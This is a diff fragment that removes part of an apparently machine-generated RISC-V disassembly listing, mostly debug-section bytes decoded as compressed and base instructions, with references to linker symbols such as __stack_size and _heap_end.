-    24fa:	9401                	srai	s0,s0,0x20
-    24fc:	0101                	addi	sp,sp,0
-    24fe:	0096                	slli	ra,ra,0x5
-    2500:	0000                	unimp
-    2502:	2c14                	fld	fa3,24(s0)
-    2504:	2040                	fld	fs0,128(s0)
-    2506:	002a                	c.slli	zero,0xa
-    2508:	0000                	unimp
-    250a:	9c01                	0x9c01
-    250c:	750d                	lui	a0,0xfffe3
-    250e:	0100                	addi	s0,sp,128
-    2510:	0194                	addi	a3,sp,192
-    2512:	00009613          	slli	a2,ra,0x0
-    2516:	7900                	flw	fs0,48(a0)
-    2518:	0010                	0x10
-    251a:	0e00                	addi	s0,sp,784
-    251c:	0062                	c.slli	zero,0x18
-    251e:	9401                	srai	s0,s0,0x20
-    2520:	2701                	jal	2c20 <__stack_size+0x2420>
-    2522:	00c5                	addi	ra,ra,17
-    2524:	0000                	unimp
-    2526:	5c01                	li	s8,-32
-    2528:	0075750f          	0x75750f
-    252c:	9901                	andi	a0,a0,-32
-    252e:	1101                	addi	sp,sp,-32
-    2530:	0130                	addi	a2,sp,136
-    2532:	0000                	unimp
-    2534:	6210                	flw	fa2,0(a2)
-    2536:	006d                	c.nop	27
-    2538:	9a01                	andi	a2,a2,-32
-    253a:	1a01                	addi	s4,s4,-32
-    253c:	00d1                	addi	ra,ra,20
-    253e:	0000                	unimp
-    2540:	10c1                	addi	ra,ra,-16
-    2542:	0000                	unimp
-    2544:	0100770f          	0x100770f
-    2548:	230b019b          	0x230b019b
-    254c:	0001                	nop
-    254e:	1100                	addi	s0,sp,160
-    2550:	2c2e                	fld	fs8,200(sp)
-    2552:	2040                	fld	fs0,128(s0)
-    2554:	0010                	0x10
-    2556:	0000                	unimp
-    2558:	7e12                	flw	ft8,36(sp)
-    255a:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
-    255e:	01a4                	addi	s1,sp,200
-    2560:	9114                	0x9114
-    2562:	0000                	unimp
-    2564:	df00                	sw	s0,56(a4)
-    2566:	0010                	0x10
-    2568:	0000                	unimp
-    256a:	0000                	unimp
-    256c:	07ae                	slli	a5,a5,0xb
-    256e:	0000                	unimp
-    2570:	0004                	0x4
-    2572:	0000058b          	0x58b
-    2576:	0104                	addi	s1,sp,128
-    2578:	a4de                	fsd	fs7,72(sp)
-    257a:	0000                	unimp
-    257c:	4d0c                	lw	a1,24(a0)
-    257e:	8e0000a3          	sb	zero,-1823(zero) # fffff8e1 <_heap_end+0x7fff10e1>
-    2582:	3e0000a3          	sb	zero,993(zero) # 3e1 <__stack_size-0x41f>
-    2586:	402c                	lw	a1,64(s0)
-    2588:	6020                	flw	fs0,64(s0)
-    258a:	62000003          	lb	zero,1568(zero) # 620 <__stack_size-0x1e0>
-    258e:	0030                	addi	a2,sp,8
-    2590:	0200                	addi	s0,sp,256
-    2592:	0708                	addi	a0,sp,896
-    2594:	06a1                	addi	a3,a3,8
-    2596:	0000                	unimp
-    2598:	0402                	c.slli64	s0
-    259a:	00716407          	0x716407
-    259e:	0300                	addi	s0,sp,384
-    25a0:	0504                	addi	s1,sp,640
-    25a2:	6e69                	lui	t3,0x1a
-    25a4:	0074                	addi	a3,sp,12
-    25a6:	0802                	c.slli64	a6
-    25a8:	e405                	bnez	s0,25d0 <__stack_size+0x1dd0>
-    25aa:	0200008f          	0x200008f
-    25ae:	0410                	addi	a2,sp,512
-    25b0:	9196                	add	gp,gp,t0
-    25b2:	0000                	unimp
-    25b4:	0102                	c.slli64	sp
-    25b6:	ea06                	fsw	ft1,20(sp)
-    25b8:	007e                	c.slli	zero,0x1f
-    25ba:	0200                	addi	s0,sp,256
-    25bc:	0801                	addi	a6,a6,0
-    25be:	1439                	addi	s0,s0,-18
-    25c0:	0000                	unimp
-    25c2:	0202                	c.slli64	tp
-    25c4:	5405                	li	s0,-31
-    25c6:	02000037          	lui	zero,0x2000
-    25ca:	0702                	c.slli64	a4
-    25cc:	9b7a                	add	s6,s6,t5
-    25ce:	0000                	unimp
-    25d0:	0402                	c.slli64	s0
-    25d2:	5c05                	li	s8,-31
-    25d4:	0050                	addi	a2,sp,4
-    25d6:	0200                	addi	s0,sp,256
-    25d8:	0704                	addi	s1,sp,896
-    25da:	6514                	flw	fa3,8(a0)
-    25dc:	0000                	unimp
-    25de:	0102                	c.slli64	sp
-    25e0:	f108                	fsw	fa0,32(a0)
-    25e2:	007e                	c.slli	zero,0x1f
-    25e4:	0400                	addi	s0,sp,512
-    25e6:	a5d6                	fsd	fs5,200(sp)
-    25e8:	0000                	unimp
-    25ea:	7b02                	flw	fs6,32(sp)
-    25ec:	4f16                	lw	t5,68(sp)
-    25ee:	0000                	unimp
-    25f0:	0500                	addi	s0,sp,640
-    25f2:	0079                	c.nop	30
-    25f4:	0000                	unimp
-    25f6:	8704                	0x8704
-    25f8:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    25fc:	0f80                	addi	s0,sp,976
-    25fe:	00000033          	add	zero,zero,zero
-    2602:	8604                	0x8604
-    2604:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    2608:	1681                	addi	a3,a3,-32
-    260a:	002c                	addi	a1,sp,8
-    260c:	0000                	unimp
-    260e:	df04                	sw	s1,56(a4)
-    2610:	00a5                	addi	ra,ra,9
-    2612:	0200                	addi	s0,sp,256
-    2614:	0f84                	addi	s1,sp,976
-    2616:	003a                	c.slli	zero,0xe
-    2618:	0000                	unimp
-    261a:	de04                	sw	s1,56(a2)
-    261c:	00a5                	addi	ra,ra,9
-    261e:	0200                	addi	s0,sp,256
-    2620:	1685                	addi	a3,a3,-31
-    2622:	0025                	c.nop	9
-    2624:	0000                	unimp
-    2626:	0402                	c.slli64	s0
-    2628:	1504                	addi	s1,sp,672
-    262a:	00a4                	addi	s1,sp,72
-    262c:	0200                	addi	s0,sp,256
-    262e:	0308                	addi	a0,sp,384
-    2630:	a40d                	j	2852 <__stack_size+0x2052>
-    2632:	0000                	unimp
-    2634:	0802                	c.slli64	a6
-    2636:	9b04                	0x9b04
-    2638:	0091                	addi	ra,ra,4
-    263a:	0200                	addi	s0,sp,256
-    263c:	0310                	addi	a2,sp,384
-    263e:	0000a41b          	0xa41b
-    2642:	2002                	fld	ft0,0(sp)
-    2644:	00a3f903          	0xa3f903
-    2648:	0600                	addi	s0,sp,768
-    264a:	a344                	fsd	fs1,128(a4)
-    264c:	0000                	unimp
-    264e:	0208                	addi	a0,sp,256
-    2650:	01ed                	addi	gp,gp,27
-    2652:	080a                	slli	a6,a6,0x2
-    2654:	0001                	nop
-    2656:	0700                	addi	s0,sp,896
-    2658:	6f6c                	flw	fa1,92(a4)
-    265a:	ed020077          	0xed020077
-    265e:	1a01                	addi	s4,s4,-32
-    2660:	008a                	slli	ra,ra,0x2
-    2662:	0000                	unimp
-    2664:	0800                	addi	s0,sp,16
-    2666:	a379                	j	2bf4 <__stack_size+0x23f4>
-    2668:	0000                	unimp
-    266a:	ed02                	fsw	ft0,152(sp)
-    266c:	1f01                	addi	t5,t5,-32
-    266e:	008a                	slli	ra,ra,0x2
-    2670:	0000                	unimp
-    2672:	0004                	0x4
-    2674:	0809                	addi	a6,a6,2
-    2676:	f402                	fsw	ft0,40(sp)
-    2678:	0901                	addi	s2,s2,0
-    267a:	012a                	slli	sp,sp,0xa
-    267c:	0000                	unimp
-    267e:	730a                	flw	ft6,160(sp)
-    2680:	0200                	addi	s0,sp,256
-    2682:	01f6                	slli	gp,gp,0x1d
-    2684:	0000dd13          	srli	s10,ra,0x0
-    2688:	0a00                	addi	s0,sp,272
-    268a:	6c6c                	flw	fa1,92(s0)
-    268c:	0200                	addi	s0,sp,256
-    268e:	a20a01f7          	0xa20a01f7
-    2692:	0000                	unimp
-    2694:	0000                	unimp
-    2696:	00a3f10b          	0xa3f10b
-    269a:	0200                	addi	s0,sp,256
-    269c:	01f8                	addi	a4,sp,204
-    269e:	00010803          	lb	a6,0(sp)
-    26a2:	0500                	addi	s0,sp,640
-    26a4:	012a                	slli	sp,sp,0xa
-    26a6:	0000                	unimp
-    26a8:	850c                	0x850c
-    26aa:	0000                	unimp
-    26ac:	4c00                	lw	s0,24(s0)
-    26ae:	0001                	nop
-    26b0:	0d00                	addi	s0,sp,656
-    26b2:	002c                	addi	a1,sp,8
-    26b4:	0000                	unimp
-    26b6:	00ff                	0xff
-    26b8:	3c05                	jal	20e8 <__stack_size+0x18e8>
-    26ba:	0001                	nop
-    26bc:	0e00                	addi	s0,sp,784
-    26be:	a5b8                	fsd	fa4,72(a1)
-    26c0:	0000                	unimp
-    26c2:	0202                	c.slli64	tp
-    26c4:	1602                	slli	a2,a2,0x20
-    26c6:	014c                	addi	a1,sp,132
-    26c8:	0000                	unimp
-    26ca:	0005430f          	0x5430f
-    26ce:	0100                	addi	s0,sp,128
-    26d0:	0526                	slli	a0,a0,0x9
-    26d2:	ae01                	j	29e2 <__stack_size+0x21e2>
-    26d4:	0000                	unimp
-    26d6:	3e00                	fld	fs0,56(a2)
-    26d8:	402c                	lw	a1,64(s0)
-    26da:	6020                	flw	fs0,64(s0)
-    26dc:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    26e0:	3a9c                	fld	fa5,48(a3)
-    26e2:	0004                	0x4
-    26e4:	1000                	addi	s0,sp,32
-    26e6:	006e                	c.slli	zero,0x1b
-    26e8:	2601                	jal	29e8 <__stack_size+0x21e8>
-    26ea:	1405                	addi	s0,s0,-31
-    26ec:	00ae                	slli	ra,ra,0xb
-    26ee:	0000                	unimp
-    26f0:	000010f7          	0x10f7
-    26f4:	6410                	flw	fa2,8(s0)
-    26f6:	0100                	addi	s0,sp,128
-    26f8:	0526                	slli	a0,a0,0x9
-    26fa:	ae1f 0000 1f00      	0x1f000000ae1f
-    2700:	0011                	c.nop	4
-    2702:	1100                	addi	s0,sp,160
-    2704:	043a                	slli	s0,s0,0xe
-    2706:	0000                	unimp
-    2708:	2c40                	fld	fs0,152(s0)
-    270a:	2040                	fld	fs0,128(s0)
-    270c:	0370                	addi	a2,sp,396
-    270e:	0000                	unimp
-    2710:	2801                	jal	2720 <__stack_size+0x1f20>
-    2712:	0a05                	addi	s4,s4,1
-    2714:	6212                	flw	ft4,4(sp)
-    2716:	0004                	0x4
-    2718:	b700                	fsd	fs0,40(a4)
-    271a:	0011                	c.nop	4
-    271c:	1200                	addi	s0,sp,288
-    271e:	00000457          	0x457
-    2722:	000011d7          	0x11d7
-    2726:	4c12                	lw	s8,4(sp)
-    2728:	0004                	0x4
-    272a:	8f00                	0x8f00
-    272c:	0012                	c.slli	zero,0x4
-    272e:	1300                	addi	s0,sp,416
-    2730:	0370                	addi	a2,sp,396
-    2732:	0000                	unimp
-    2734:	6e14                	flw	fa3,24(a2)
-    2736:	0004                	0x4
-    2738:	1400                	addi	s0,sp,544
-    273a:	047a                	slli	s0,s0,0x1e
-    273c:	0000                	unimp
-    273e:	8614                	0x8614
-    2740:	0004                	0x4
-    2742:	1500                	addi	s0,sp,672
-    2744:	0492                	slli	s1,s1,0x4
-    2746:	0000                	unimp
-    2748:	00001367          	0x1367
-    274c:	9e15                	0x9e15
-    274e:	0004                	0x4
-    2750:	0d00                	addi	s0,sp,656
-    2752:	0014                	0x14
-    2754:	1500                	addi	s0,sp,672
-    2756:	04aa                	slli	s1,s1,0xa
-    2758:	0000                	unimp
-    275a:	1499                	addi	s1,s1,-26
-    275c:	0000                	unimp
-    275e:	b615                	j	2282 <__stack_size+0x1a82>
-    2760:	0004                	0x4
-    2762:	0900                	addi	s0,sp,144
-    2764:	0015                	c.nop	5
-    2766:	1500                	addi	s0,sp,672
-    2768:	04c2                	slli	s1,s1,0x10
-    276a:	0000                	unimp
-    276c:	15c1                	addi	a1,a1,-16
-    276e:	0000                	unimp
-    2770:	ce15                	beqz	a2,27ac <__stack_size+0x1fac>
-    2772:	0004                	0x4
-    2774:	df00                	sw	s0,56(a4)
-    2776:	0015                	c.nop	5
-    2778:	1500                	addi	s0,sp,672
-    277a:	04da                	slli	s1,s1,0x16
-    277c:	0000                	unimp
-    277e:	15fd                	addi	a1,a1,-1
-    2780:	0000                	unimp
-    2782:	e615                	bnez	a2,27ae <__stack_size+0x1fae>
-    2784:	0004                	0x4
-    2786:	2700                	fld	fs0,8(a4)
-    2788:	0016                	c.slli	zero,0x5
-    278a:	1500                	addi	s0,sp,672
-    278c:	04f1                	addi	s1,s1,28
-    278e:	0000                	unimp
-    2790:	1645                	addi	a2,a2,-15
-    2792:	0000                	unimp
-    2794:	fd14                	fsw	fa3,56(a0)
-    2796:	0004                	0x4
-    2798:	1600                	addi	s0,sp,800
-    279a:	0509                	addi	a0,a0,2
-    279c:	0000                	unimp
-    279e:	0398                	addi	a4,sp,448
-    27a0:	0000                	unimp
-    27a2:	024d                	addi	tp,tp,19
-    27a4:	0000                	unimp
-    27a6:	0e15                	addi	t3,t3,5
-    27a8:	0005                	c.nop	1
-    27aa:	8400                	0x8400
-    27ac:	0016                	c.slli	zero,0x5
-    27ae:	1500                	addi	s0,sp,672
-    27b0:	0000051b          	0x51b
-    27b4:	16c0                	addi	s0,sp,868
-    27b6:	0000                	unimp
-    27b8:	1700                	addi	s0,sp,928
-    27ba:	0529                	addi	a0,a0,10
-    27bc:	0000                	unimp
-    27be:	2c92                	fld	fs9,256(sp)
-    27c0:	2040                	fld	fs0,128(s0)
-    27c2:	006e                	c.slli	zero,0x1b
-    27c4:	0000                	unimp
-    27c6:	029e                	slli	t0,t0,0x7
-    27c8:	0000                	unimp
-    27ca:	2e15                	jal	2afe <__stack_size+0x22fe>
-    27cc:	0005                	c.nop	1
-    27ce:	d300                	sw	s0,32(a4)
-    27d0:	0016                	c.slli	zero,0x5
-    27d2:	1500                	addi	s0,sp,672
-    27d4:	0000053b          	0x53b
-    27d8:	16e6                	slli	a3,a3,0x39
-    27da:	0000                	unimp
-    27dc:	4815                	li	a6,5
-    27de:	0005                	c.nop	1
-    27e0:	0a00                	addi	s0,sp,272
-    27e2:	15000017          	auipc	zero,0x15000
-    27e6:	0555                	addi	a0,a0,21
-    27e8:	0000                	unimp
-    27ea:	1728                	addi	a0,sp,936
-    27ec:	0000                	unimp
-    27ee:	6215                	lui	tp,0x5
-    27f0:	0005                	c.nop	1
-    27f2:	4600                	lw	s0,8(a2)
-    27f4:	15000017          	auipc	zero,0x15000
-    27f8:	0000056f          	jal	a0,27f8 <__stack_size+0x1ff8>
-    27fc:	1781                	addi	a5,a5,-32
-    27fe:	0000                	unimp
-    2800:	7c15                	lui	s8,0xfffe5
-    2802:	0005                	c.nop	1
-    2804:	9f00                	0x9f00
-    2806:	00000017          	auipc	zero,0x0
-    280a:	9f16                	add	t5,t5,t0
-    280c:	0006                	c.slli	zero,0x1
-    280e:	b000                	fsd	fs0,32(s0)
-    2810:	5d000003          	lb	zero,1488(zero) # 5d0 <__stack_size-0x230>
-    2814:	15000003          	lb	zero,336(zero) # 150 <__stack_size-0x6b0>
-    2818:	06a0                	addi	s0,sp,840
-    281a:	0000                	unimp
-    281c:	17bd                	addi	a5,a5,-17
-    281e:	0000                	unimp
-    2820:	ac15                	j	2a54 <__stack_size+0x2254>
-    2822:	0006                	c.slli	zero,0x1
-    2824:	d000                	sw	s0,32(s0)
-    2826:	16000017          	auipc	zero,0x16000
-    282a:	06b8                	addi	a4,sp,840
-    282c:	0000                	unimp
-    282e:	03c8                	addi	a0,sp,452
-    2830:	0000                	unimp
-    2832:	030a                	slli	t1,t1,0x2
-    2834:	0000                	unimp
-    2836:	bd15                	j	266a <__stack_size+0x1e6a>
-    2838:	0006                	c.slli	zero,0x1
-    283a:	1100                	addi	s0,sp,160
-    283c:	0018                	0x18
-    283e:	1500                	addi	s0,sp,672
-    2840:	06ca                	slli	a3,a3,0x12
-    2842:	0000                	unimp
-    2844:	00001833          	sll	a6,zero,zero
-    2848:	d715                	beqz	a4,2774 <__stack_size+0x1f74>
-    284a:	0006                	c.slli	zero,0x1
-    284c:	5700                	lw	s0,40(a4)
-    284e:	0018                	0x18
-    2850:	1500                	addi	s0,sp,672
-    2852:	06e4                	addi	s1,sp,844
-    2854:	0000                	unimp
-    2856:	1875                	addi	a6,a6,-3
-    2858:	0000                	unimp
-    285a:	f115                	bnez	a0,277e <__stack_size+0x1f7e>
-    285c:	0006                	c.slli	zero,0x1
-    285e:	9300                	0x9300
-    2860:	0018                	0x18
-    2862:	1500                	addi	s0,sp,672
-    2864:	06fe                	slli	a3,a3,0x1f
-    2866:	0000                	unimp
-    2868:	18ce                	slli	a7,a7,0x33
-    286a:	0000                	unimp
-    286c:	0b15                	addi	s6,s6,5
-    286e:	f7000007          	0xf7000007
-    2872:	0018                	0x18
-    2874:	0000                	unimp
-    2876:	1918                	addi	a4,sp,176
-    2878:	f0000007          	0xf0000007
-    287c:	15000003          	lb	zero,336(zero) # 150 <__stack_size-0x6b0>
-    2880:	071e                	slli	a4,a4,0x7
-    2882:	0000                	unimp
-    2884:	1915                	addi	s2,s2,-27
-    2886:	0000                	unimp
-    2888:	2b15                	jal	2dbc <__stack_size+0x25bc>
-    288a:	28000007          	0x28000007
-    288e:	0019                	c.nop	6
-    2890:	1500                	addi	s0,sp,672
-    2892:	0738                	addi	a4,sp,904
-    2894:	0000                	unimp
-    2896:	0000197b          	0x197b
-    289a:	4515                	li	a0,5
-    289c:	8e000007          	0x8e000007
-    28a0:	0019                	c.nop	6
-    28a2:	1500                	addi	s0,sp,672
-    28a4:	0752                	slli	a4,a4,0x14
-    28a6:	0000                	unimp
-    28a8:	19a1                	addi	s3,s3,-24
-    28aa:	0000                	unimp
-    28ac:	5f15                	li	t5,-27
-    28ae:	f4000007          	0xf4000007
-    28b2:	0019                	c.nop	6
-    28b4:	1500                	addi	s0,sp,672
-    28b6:	076c                	addi	a1,sp,908
-    28b8:	0000                	unimp
-    28ba:	00001a07          	0x1a07
-    28be:	7915                	lui	s2,0xfffe5
-    28c0:	38000007          	0x38000007
-    28c4:	001a                	c.slli	zero,0x6
-    28c6:	0000                	unimp
-    28c8:	1600                	addi	s0,sp,800
-    28ca:	058a                	slli	a1,a1,0x2
-    28cc:	0000                	unimp
-    28ce:	0420                	addi	s0,sp,520
-    28d0:	0000                	unimp
-    28d2:	037d                	addi	t1,t1,31
-    28d4:	0000                	unimp
-    28d6:	8f15                	sub	a4,a4,a3
-    28d8:	0005                	c.nop	1
-    28da:	4b00                	lw	s0,16(a4)
-    28dc:	001a                	c.slli	zero,0x6
-    28de:	1500                	addi	s0,sp,672
-    28e0:	059c                	addi	a5,sp,704
-    28e2:	0000                	unimp
-    28e4:	00001a87          	0x1a87
-    28e8:	1700                	addi	s0,sp,928
-    28ea:	0000060b          	0x60b
-    28ee:	2d48                	fld	fa0,152(a0)
-    28f0:	2040                	fld	fs0,128(s0)
-    28f2:	0070                	addi	a2,sp,12
-    28f4:	0000                	unimp
-    28f6:	03ce                	slli	t2,t2,0x13
-    28f8:	0000                	unimp
-    28fa:	1015                	c.nop	-27
-    28fc:	0006                	c.slli	zero,0x1
-    28fe:	a500                	fsd	fs0,8(a0)
-    2900:	001a                	c.slli	zero,0x6
-    2902:	1500                	addi	s0,sp,672
-    2904:	061d                	addi	a2,a2,7
-    2906:	0000                	unimp
-    2908:	1ab8                	addi	a4,sp,376
-    290a:	0000                	unimp
-    290c:	2a15                	jal	2a40 <__stack_size+0x2240>
-    290e:	0006                	c.slli	zero,0x1
-    2910:	dc00                	sw	s0,56(s0)
-    2912:	001a                	c.slli	zero,0x6
-    2914:	1500                	addi	s0,sp,672
-    2916:	00000637          	lui	a2,0x0
-    291a:	1afa                	slli	s5,s5,0x3e
-    291c:	0000                	unimp
-    291e:	4415                	li	s0,5
-    2920:	0006                	c.slli	zero,0x1
-    2922:	1800                	addi	s0,sp,48
-    2924:	1500001b          	0x1500001b
-    2928:	0651                	addi	a2,a2,20
-    292a:	0000                	unimp
-    292c:	00001b53          	fadd.s	fs6,ft0,ft0,rtz
-    2930:	5e15                	li	t3,-27
-    2932:	0006                	c.slli	zero,0x1
-    2934:	7100                	flw	fs0,32(a0)
-    2936:	0000001b          	0x1b
-    293a:	aa16                	fsd	ft5,272(sp)
-    293c:	0005                	c.nop	1
-    293e:	3800                	fld	fs0,48(s0)
-    2940:	0004                	0x4
-    2942:	1b00                	addi	s0,sp,432
-    2944:	0004                	0x4
-    2946:	1500                	addi	s0,sp,672
-    2948:	000005af          	0x5af
-    294c:	00001b8f          	0x1b8f
-    2950:	bc15                	j	2384 <__stack_size+0x1b84>
-    2952:	0005                	c.nop	1
-    2954:	a200                	fsd	fs0,0(a2)
-    2956:	1500001b          	0x1500001b
-    295a:	05c9                	addi	a1,a1,18
-    295c:	0000                	unimp
-    295e:	1bc6                	slli	s7,s7,0x31
-    2960:	0000                	unimp
-    2962:	d615                	beqz	a2,288e <__stack_size+0x208e>
-    2964:	0005                	c.nop	1
-    2966:	e400                	fsw	fs0,8(s0)
-    2968:	1500001b          	0x1500001b
-    296c:	000005e3          	beqz	zero,3176 <__stack_size+0x2976>
-    2970:	1c02                	slli	s8,s8,0x20
-    2972:	0000                	unimp
-    2974:	f015                	bnez	s0,2898 <__stack_size+0x2098>
-    2976:	0005                	c.nop	1
-    2978:	3600                	fld	fs0,40(a2)
-    297a:	001c                	0x1c
-    297c:	1500                	addi	s0,sp,672
-    297e:	05fd                	addi	a1,a1,31
-    2980:	0000                	unimp
-    2982:	1c5f 0000 1800      	0x180000001c5f
-    2988:	066c                	addi	a1,sp,780
-    298a:	0000                	unimp
-    298c:	0450                	addi	a2,sp,516
-    298e:	0000                	unimp
-    2990:	7115                	addi	sp,sp,-224
-    2992:	0006                	c.slli	zero,0x1
-    2994:	8d00                	0x8d00
-    2996:	001c                	0x1c
-    2998:	1500                	addi	s0,sp,672
-    299a:	067e                	slli	a2,a2,0x1f
-    299c:	0000                	unimp
-    299e:	1cc1                	addi	s9,s9,-16
-    29a0:	0000                	unimp
-    29a2:	0000                	unimp
-    29a4:	0000                	unimp
-    29a6:	f519                	bnez	a0,28b4 <__stack_size+0x20b4>
-    29a8:	00a5                	addi	ra,ra,9
-    29aa:	0100                	addi	s0,sp,128
-    29ac:	ae0103f7          	0xae0103f7
-    29b0:	0000                	unimp
-    29b2:	0300                	addi	s0,sp,384
-    29b4:	000007ab          	0x7ab
-    29b8:	6e1a                	flw	ft8,132(sp)
-    29ba:	0100                	addi	s0,sp,128
-    29bc:	ae1703f7          	0xae1703f7
-    29c0:	0000                	unimp
-    29c2:	1a00                	addi	s0,sp,304
-    29c4:	0064                	addi	s1,sp,12
-    29c6:	f701                	bnez	a4,28ce <__stack_size+0x20ce>
-    29c8:	00ae2203          	lw	tp,10(t3) # 1a00a <__stack_size+0x1980a>
-    29cc:	0000                	unimp
-    29ce:	721a                	flw	ft4,164(sp)
-    29d0:	0070                	addi	a2,sp,12
-    29d2:	f701                	bnez	a4,28da <__stack_size+0x20da>
-    29d4:	07ab2e03          	lw	t3,122(s6)
-    29d8:	0000                	unimp
-    29da:	006e6e1b          	0x6e6e1b
-    29de:	f901                	bnez	a0,28ee <__stack_size+0x20ee>
-    29e0:	01371103          	lh	sp,19(a4)
-    29e4:	0000                	unimp
-    29e6:	0064641b          	0x64641b
-    29ea:	fa01                	bnez	a2,28fa <__stack_size+0x20fa>
-    29ec:	01371103          	lh	sp,19(a4)
-    29f0:	0000                	unimp
-    29f2:	0072721b          	0x72721b
-    29f6:	fb01                	bnez	a4,2906 <__stack_size+0x2106>
-    29f8:	012a0b03          	lb	s6,18(s4)
-    29fc:	0000                	unimp
-    29fe:	0030641b          	0x30641b
-    2a02:	fc01                	bnez	s0,291a <__stack_size+0x211a>
-    2a04:	00960a03          	lb	s4,9(a2) # 9 <__stack_size-0x7f7>
-    2a08:	0000                	unimp
-    2a0a:	0031641b          	0x31641b
-    2a0e:	fc01                	bnez	s0,2926 <__stack_size+0x2126>
-    2a10:	00960e03          	lb	t3,9(a2)
-    2a14:	0000                	unimp
-    2a16:	00306e1b          	0x306e1b
-    2a1a:	fc01                	bnez	s0,2932 <__stack_size+0x2132>
-    2a1c:	00961203          	lh	tp,9(a2)
-    2a20:	0000                	unimp
-    2a22:	00316e1b          	0x316e1b
-    2a26:	fc01                	bnez	s0,293e <__stack_size+0x213e>
-    2a28:	00961603          	lh	a2,9(a2)
-    2a2c:	0000                	unimp
-    2a2e:	00326e1b          	0x326e1b
-    2a32:	fc01                	bnez	s0,294a <__stack_size+0x214a>
-    2a34:	00961a03          	lh	s4,9(a2)
-    2a38:	0000                	unimp
-    2a3a:	0030711b          	0x30711b
-    2a3e:	fd01                	bnez	a0,2956 <__stack_size+0x2156>
-    2a40:	00960a03          	lb	s4,9(a2)
-    2a44:	0000                	unimp
-    2a46:	0031711b          	0x31711b
-    2a4a:	fd01                	bnez	a0,2962 <__stack_size+0x2162>
-    2a4c:	00960e03          	lb	t3,9(a2)
-    2a50:	0000                	unimp
-    2a52:	0100621b          	0x100621b
-    2a56:	03fe                	slli	t2,t2,0x1f
-    2a58:	960a                	add	a2,a2,sp
-    2a5a:	0000                	unimp
-    2a5c:	1b00                	addi	s0,sp,432
-    2a5e:	6d62                	flw	fs10,24(sp)
-    2a60:	0100                	addi	s0,sp,128
-    2a62:	03fe                	slli	t2,t2,0x1f
-    2a64:	960d                	srai	a2,a2,0x23
-    2a66:	0000                	unimp
-    2a68:	1b00                	addi	s0,sp,432
-    2a6a:	01007777          	0x1007777
-    2a6e:	371104c7          	fmsub.q	fs1,ft2,fa7,ft6,rne
-    2a72:	0001                	nop
-    2a74:	1c00                	addi	s0,sp,560
-    2a76:	0529                	addi	a0,a0,10
-    2a78:	0000                	unimp
-    2a7a:	f01d                	bnez	s0,29a0 <__stack_size+0x21a0>
-    2a7c:	00a5                	addi	ra,ra,9
-    2a7e:	0100                	addi	s0,sp,128
-    2a80:	042e                	slli	s0,s0,0xb
-    2a82:	9604                	0x9604
-    2a84:	0000                	unimp
-    2a86:	1b00                	addi	s0,sp,432
-    2a88:	5f5f 0061 2e01      	0x2e0100615f5f
-    2a8e:	0404                	addi	s1,sp,512
-    2a90:	0096                	slli	ra,ra,0x5
-    2a92:	0000                	unimp
-    2a94:	1c00                	addi	s0,sp,560
-    2a96:	058a                	slli	a1,a1,0x2
-    2a98:	0000                	unimp
-    2a9a:	a91d                	j	2ed0 <__stack_size+0x26d0>
-    2a9c:	00a5                	addi	ra,ra,9
-    2a9e:	0100                	addi	s0,sp,128
-    2aa0:	043a                	slli	s0,s0,0xe
-    2aa2:	9604                	0x9604
-    2aa4:	0000                	unimp
-    2aa6:	1d00                	addi	s0,sp,688
-    2aa8:	a5a4                	fsd	fs1,72(a1)
-    2aaa:	0000                	unimp
-    2aac:	3a01                	jal	23bc <__stack_size+0x1bbc>
-    2aae:	0404                	addi	s1,sp,512
-    2ab0:	0096                	slli	ra,ra,0x5
-    2ab2:	0000                	unimp
-    2ab4:	eb1d                	bnez	a4,2aea <__stack_size+0x22ea>
-    2ab6:	00a5                	addi	ra,ra,9
-    2ab8:	0100                	addi	s0,sp,128
-    2aba:	043a                	slli	s0,s0,0xe
-    2abc:	9604                	0x9604
-    2abe:	0000                	unimp
-    2ac0:	1d00                	addi	s0,sp,688
-    2ac2:	a5e6                	fsd	fs9,200(sp)
-    2ac4:	0000                	unimp
-    2ac6:	3a01                	jal	23d6 <__stack_size+0x1bd6>
-    2ac8:	0404                	addi	s1,sp,512
-    2aca:	0096                	slli	ra,ra,0x5
-    2acc:	0000                	unimp
-    2ace:	071d                	addi	a4,a4,7
-    2ad0:	00a6                	slli	ra,ra,0x9
-    2ad2:	0100                	addi	s0,sp,128
-    2ad4:	043a                	slli	s0,s0,0xe
-    2ad6:	9604                	0x9604
-    2ad8:	0000                	unimp
-    2ada:	1d00                	addi	s0,sp,688
-    2adc:	a602                	fsd	ft0,264(sp)
-    2ade:	0000                	unimp
-    2ae0:	3a01                	jal	23f0 <__stack_size+0x1bf0>
-    2ae2:	0404                	addi	s1,sp,512
-    2ae4:	0096                	slli	ra,ra,0x5
-    2ae6:	0000                	unimp
-    2ae8:	6d5f5f1b          	0x6d5f5f1b
-    2aec:	0100                	addi	s0,sp,128
-    2aee:	043a                	slli	s0,s0,0xe
-    2af0:	9604                	0x9604
-    2af2:	0000                	unimp
-    2af4:	0000                	unimp
-    2af6:	aa1c                	fsd	fa5,16(a2)
-    2af8:	0005                	c.nop	1
-    2afa:	1d00                	addi	s0,sp,688
-    2afc:	a5f0                	fsd	fa2,200(a1)
-    2afe:	0000                	unimp
-    2b00:	4601                	li	a2,0
-    2b02:	0404                	addi	s1,sp,512
-    2b04:	0096                	slli	ra,ra,0x5
-    2b06:	0000                	unimp
-    2b08:	615f5f1b          	0x615f5f1b
-    2b0c:	0100                	addi	s0,sp,128
-    2b0e:	0446                	slli	s0,s0,0x11
-    2b10:	9604                	0x9604
-    2b12:	0000                	unimp
-    2b14:	0000                	unimp
-    2b16:	0b1c                	addi	a5,sp,400
-    2b18:	0006                	c.slli	zero,0x1
-    2b1a:	1d00                	addi	s0,sp,688
-    2b1c:	a5a9                	j	3166 <__stack_size+0x2966>
-    2b1e:	0000                	unimp
-    2b20:	5f01                	li	t5,-32
-    2b22:	0804                	addi	s1,sp,16
-    2b24:	0096                	slli	ra,ra,0x5
-    2b26:	0000                	unimp
-    2b28:	a41d                	j	2d4e <__stack_size+0x254e>
-    2b2a:	00a5                	addi	ra,ra,9
-    2b2c:	0100                	addi	s0,sp,128
-    2b2e:	045f 9608 0000      	0x9608045f
-    2b34:	1d00                	addi	s0,sp,688
-    2b36:	0000a5eb          	0xa5eb
-    2b3a:	5f01                	li	t5,-32
-    2b3c:	0804                	addi	s1,sp,16
